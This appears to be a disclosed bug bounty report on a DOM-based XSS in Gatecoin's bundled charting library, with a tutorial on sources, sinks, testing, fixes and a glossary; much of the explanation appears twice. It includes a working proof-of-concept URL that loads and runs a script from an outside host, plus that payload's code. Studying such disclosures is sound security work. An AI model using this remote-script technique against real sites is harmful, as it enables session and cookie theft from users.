DOM Based XSS charting_library
The charting library reads the 'indicatorsFile' parameter from the URL fragment and passes it to jQuery's getScript, which loads and executes an external JavaScript file. An attacker can craft a link that causes the victim's browser to run arbitrary script in the context of the vulnerable site.
- Triaged in under an hour
- Fixed in 7 days
- Paid in 9 days
- Disclosed after 5 months
Description charting_library contains a DOM Based XSS vulnerability that allows to load an external JS script and execute it.
PoC Open URL in any browser
https://gatecoin.com/widget-trade/assets/charting_library/static/tv-chart.html#indicatorsFile=//blackfan.ru/tv-chart-poc&disabledFeatures=[]&enabledFeatures=[]
Vulnerable script https://gatecoin.com/widget-trade/assets/charting_library/static/bundles/library.js
Vulnerable code
$.getScript(urlParams.indicatorsFile)
blackfan.ru/tv-chart-poc source
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control, X-Requested-With");
?>
alert(document.domain);
alert(document.cookie);
Impact
DOM Based XSS
What the report shows
The target is the charting library bundled on gatecoin.com under /widget-trade/assets/charting_library/. The researcher found that the chart page reads a URL fragment parameter and uses it to fetch and execute a remote script, which makes it a DOM-based cross-site scripting issue.
The proof of concept is a single URL, opened in any browser:
https://gatecoin.com/widget-trade/assets/charting_library/static/tv-chart.html#indicatorsFile=//blackfan.ru/tv-chart-poc&disabledFeatures=[]&enabledFeatures=[]
The fragment carries indicatorsFile, pointing at a script on the researcher's own host, alongside empty disabledFeatures and enabledFeatures arrays. The vulnerable script is identified as:
https://gatecoin.com/widget-trade/assets/charting_library/static/bundles/library.js
Inside that bundle, the offending line is:
$.getScript(urlParams.indicatorsFile)
So the value taken from the URL parameters is passed straight to jQuery's getScript, which fetches the URL and evaluates the response as JavaScript in the page's origin. The payload served from blackfan.ru/tv-chart-poc is a short PHP file that sets permissive CORS headers and then emits two alerts:
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control, X-Requested-With");
?>
alert(document.domain);
alert(document.cookie);
The two alert calls demonstrate that script runs in the context of gatecoin.com and can read document.cookie. The report records the weakness as DOM-based XSS, rates it medium severity, and the bounty paid was 500.00 USD. It was disclosed on 2018-10-19. The report does not describe a fix.
Root cause
The page parses parameters out of the URL fragment into an object (urlParams) and then hands one of those values, indicatorsFile, to $.getScript without validating its origin or contents. Because getScript loads and executes arbitrary JavaScript, any value the attacker controls in the fragment becomes executable code in the page's origin.
Impact
An attacker who can get a victim to open a crafted link can run their own JavaScript in the origin of gatecoin.com. In this report the payload only shows document.domain and document.cookie, which demonstrates script execution and access to cookies but does not go further. What an attacker could actually steal or do with that access depends on what the site stores in cookies and what actions the origin permits; the report does not explore that.
How this kind of bug works
DOM-based XSS happens entirely in the browser. The server returns the same page to everyone; the difference is in what the client-side code does with data taken from a source the attacker can influence, such as location.hash, location.search, document.referrer, window.name or postMessage data. If that data reaches a sink that executes or renders it, the script runs in the page's origin.
Sinks that execute code include eval, Function, setTimeout and setInterval with string arguments, script.src assignment, and library helpers such as jQuery's getScript, html, append and globalEval. Sinks that render markup include innerHTML, outerHTML, document.write and framework-specific bypasses. The fragment is never sent to the server, so server-side filters and web application firewalls never see it.
Defences are the mirror image: avoid passing untrusted data to execution sinks, use safe APIs such as textContent and attribute setters, validate URLs against an allowlist of trusted origins before loading them, and apply a Content Security Policy that restricts script-src so injected remote scripts cannot load. Trusted Types in modern browsers can also block string-to-sink assignments at the platform level.
How to test for it
- Map the client-side inputs. Load the target page and look at how it reads
location.hash,location.search,window.name,document.referrerand message events. Reading the bundled JavaScript is usually faster than guessing. - Identify sinks. Search the bundle for
eval,Function,innerHTML,document.write,getScript,script.srcand similar. Trace backwards to see which source feeds each sink. - Craft a marker. Put a unique string in the suspected parameter and confirm it reaches the sink, for example by watching the DOM in developer tools or by setting a breakpoint on the sink.
- Escalate to execution. Replace the marker with a payload that would call a harmless function you can observe, such as an alert or a console message, and check whether it runs. For URL-loading sinks, host a script on a domain you control and point the parameter at it.
- Confirm the origin. Check
document.domainfrom inside the executed code to be sure it runs in the target's origin and not in a sandboxed frame.
A positive result is your code executing with the target's origin and access to its DOM and cookies. Common false positives: the value is reflected but HTML-encoded before reaching the sink; the sink is inside a sandboxed iframe without allow-scripts; the page sets a strict CSP that blocks your script; or the parameter is only read on a code path that never runs in a real browser session.
How it is fixed
Do not pass URL-derived values to execution sinks. If a feature genuinely needs to load a remote script, restrict it to an allowlist of trusted origins and reject everything else. Prefer safe DOM APIs over string-based HTML and script insertion. Add a Content Security Policy with a tight script-src so that even a missed sink cannot load attacker-hosted code, and consider Trusted Types where supported. Server-side filtering does not help for fragment-based sources, so the fix has to be in the client code.
Hunting notes
This class hides in client-heavy applications: charting and analytics widgets, embedded players, single-page apps that route on the fragment, and third-party libraries vendored into a site. Recon signals include large bundled JavaScript files under asset paths, pages that accept configuration through the hash, and libraries with parameters named like file, url, config or source. Reading minified bundles for sink names is often the quickest route in.
What happened, in plain words
The page in question is a charting application embedded in the site. The chart comes from a charting library bundled into the site under /widget-trade/assets/charting_library/.
A web page is normally a fixed document that the server sends to every visitor. But many pages also contain JavaScript, small programs that run inside your browser and can change the page after it has loaded. Some of those programs read extra instructions from the address bar, in the part of the URL after the # symbol. That part is called the fragment, and it is never sent to the server: the browser keeps it and hands it to the page's own code. It is often used to pass settings to a page, for example which chart to display.
The researcher found that the chart page reads a fragment setting called indicatorsFile and uses it as the address of a script to download and run. Because the value comes from the URL, anyone who can make a victim open a crafted link can choose which script the page runs. That is a cross-site scripting (XSS) bug, and specifically a DOM-based one, because the whole problem happens in the browser's copy of the page (the DOM, the browser's model of the page) rather than on the server.
The proof of concept
The demonstration is a single URL, opened in any browser:
https://gatecoin.com/widget-trade/assets/charting_library/static/tv-chart.html#indicatorsFile=//blackfan.ru/tv-chart-poc&disabledFeatures=[]&enabledFeatures=[]
Line by line:
https://gatecoin.com/widget-trade/assets/charting_library/static/tv-chart.htmlis the legitimate chart page on Gatecoin's own site.#indicatorsFile=//blackfan.ru/tv-chart-pocis the fragment. It tells the page to load a script from//blackfan.ru/tv-chart-poc. The//at the start means "same scheme as the current page", so the browser resolves it tohttps://blackfan.ru/tv-chart-poc.&disabledFeatures=[]&enabledFeatures=[]are two more fragment settings, both empty lists.
The vulnerable script is identified as:
https://gatecoin.com/widget-trade/assets/charting_library/static/bundles/library.js
Inside that file, the offending line is:
$.getScript(urlParams.indicatorsFile)
urlParams is an object holding the settings read from the fragment, and urlParams.indicatorsFile is the value the attacker controls. $.getScript is a helper from the jQuery JavaScript library: it downloads whatever URL it is given and runs the response as JavaScript in the current page. So the fragment value is passed straight into a function whose entire job is to fetch and execute code. Nothing checks where that code comes from.
The script served from blackfan.ru/tv-chart-poc is a short PHP file:
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control, X-Requested-With");
?>
alert(document.domain);
alert(document.cookie);
The first part is server-side PHP that sends two HTTP headers. Access-Control-Allow-Origin: * tells the browser that any website may read this response, and Access-Control-Allow-Headers permits certain request headers. The report shows these headers but does not explain their role. The second part is the JavaScript that the browser actually runs: two alert pop-ups, one showing document.domain (the site the code is running as) and one showing document.cookie (the cookies the browser holds for that site).
A cookie is a small piece of data a website asks the browser to store and send back with later requests; sites often keep session identifiers there, which is why reading cookies matters. Seeing gatecoin.com in the first alert proves the code is running as Gatecoin, not as the researcher's site, and the second alert proves it can reach Gatecoin's cookies.
The report records the weakness as DOM-based XSS, rates it medium severity, and the bounty paid was 500.00 USD. It was disclosed on 2018-10-19. The report does not describe a fix.
Why it happens
The page takes a value from the fragment and hands it to a function that executes code. The fragment is a favourite hiding place for this kind of bug because it never travels to the server, so any filtering the server does never sees it.
What an attacker could do
Someone who convinces a victim to open the crafted link runs their own JavaScript as gatecoin.com. In this report the payload only displays the domain and the cookies, which is enough to prove execution and access. What could actually be stolen or done with that access depends on what the site keeps in cookies and what the logged-in user is allowed to do; the report does not explore that.
In general, how this kind of bug works
DOM-based XSS happens entirely in the browser. The server sends the same page to everyone; the difference is what the page's own JavaScript does with data an attacker can influence. Common sources of such data are location.hash (the fragment), location.search (the part after ?), document.referrer (the page you came from), window.name and messages received from other windows.
A sink is any place where data is turned into code or markup. Sinks that execute code include eval, Function, setTimeout and setInterval with string arguments, assigning to script.src, and library helpers such as jQuery's getScript, html, append and globalEval. Sinks that render markup include innerHTML, outerHTML and document.write. If attacker-controlled data reaches one of these without checks, the script runs with the target site's origin, meaning it has the same access as the site's own code.
A simple comparison: a sink is like a letter-opening machine that also follows any instruction written inside the letter. If you let strangers post letters into it, you should not be surprised when it acts on their instructions.
Defences mirror the problem: do not pass untrusted data to execution sinks, use safe APIs such as textContent and attribute setters, check URLs against an allowlist of trusted origins before loading them, and add a Content Security Policy that restricts script-src so injected remote scripts cannot load. Trusted Types in modern browsers can also block string-to-sink assignments at the platform level.
In general, how to test for it
- Map the client-side inputs. Load the page and see how it reads
location.hash,location.search,window.name,document.referrerand message events. Reading the bundled JavaScript is usually faster than guessing. - Identify sinks. Search the bundle for
eval,Function,innerHTML,document.write,getScript,script.srcand similar, then trace backwards to see which input feeds each sink. - Craft a marker. Put a unique string in the suspected parameter and confirm it reaches the sink, for example by watching the DOM in developer tools or setting a breakpoint on the sink.
- Escalate to execution. Replace the marker with something harmless you can observe, such as an alert or a console message. For URL-loading sinks, host a script on a domain you control and point the parameter at it.
- Confirm the origin. Check
document.domainfrom inside the executed code to be sure it runs as the target and not in a sandboxed frame.
A positive result is your code running with the target's origin and access to its DOM and cookies. Common false positives: the value is reflected but HTML-encoded before reaching the sink; the sink sits inside a sandboxed iframe without allow-scripts; a strict Content Security Policy blocks your script; or the parameter is only read on a code path that never runs in a real browser session. Also check whether the affected page is a third-party widget served from the target's domain, since that still counts if it shares the origin.
In general, how it is fixed
Do not pass URL-derived values to execution sinks. If a feature genuinely needs to load a remote script, restrict it to an allowlist of trusted origins and reject everything else. Prefer safe DOM APIs over string-based HTML and script insertion. Add a Content Security Policy with a tight script-src so that even a missed sink cannot load attacker-hosted code, and consider Trusted Types where supported. Server-side filtering does not help for fragment-based sources, so the fix has to be in the client code.
In general, where to look
This class hides in client-heavy applications: charting and analytics widgets, embedded players, single-page apps that route on the fragment, and third-party libraries vendored into a site. Signals worth watching include large bundled JavaScript files under asset paths, pages that accept configuration through the hash, and libraries with parameters named like file, url, config or source. Reading minified bundles for sink names is often the quickest route in.
Glossary
- DOM: the browser's in-memory model of a web page, which JavaScript can read and change.
- DOM-based XSS: cross-site scripting where the flaw is in the page's own JavaScript rather than in the server's response.
- XSS (cross-site scripting): a bug that lets an attacker's JavaScript run as another website.
- Fragment: the part of a URL after
#, kept by the browser and never sent to the server. - URL parameter: a named value carried in a URL, here inside the fragment.
- Source: any place attacker-influenced data enters the page, such as the fragment.
- Sink: any place data is turned into code or markup, such as
getScriptorinnerHTML. $.getScript: a jQuery helper that downloads a URL and runs the response as JavaScript.- jQuery: a widely used JavaScript library that simplifies DOM work and network requests.
- Cookie: a small piece of data a site asks the browser to store and send back later, often holding a session identifier.
- Session identifier: a value that lets a site recognise a logged-in user.
- Origin: the combination of scheme, host and port that defines which site code belongs to; code from one origin cannot normally read another's data.
- CORS: a set of HTTP headers that lets a browser allow or refuse cross-origin reads.
- HTTP header: a line of metadata sent with a request or response.
- Content Security Policy (CSP): a header that tells the browser which sources of scripts and other resources are allowed.
- Trusted Types: a browser feature that blocks passing plain strings to dangerous sinks unless they are explicitly marked safe.
- Allowlist: a list of values that are explicitly permitted, with everything else rejected.
eval: a JavaScript function that runs a string as code.innerHTML: a DOM property that sets a page element's content from an HTML string.document.write: a DOM method that writes markup into the page.document.domain: a property showing the domain the current code is running as.document.cookie: a property that reads and writes the page's cookies.location.hash: the fragment as seen from JavaScript.location.search: the part of the URL after?.document.referrer: the address of the page that linked to the current one.window.name: a string property of a browser window that survives navigation.postMessage: a browser API for sending messages between windows.- Sandboxed iframe: an embedded frame with restrictions, which can forbid script execution.
- Bounty: a payment a company makes for a valid security report.
- Severity: a rating of how serious a vulnerability is.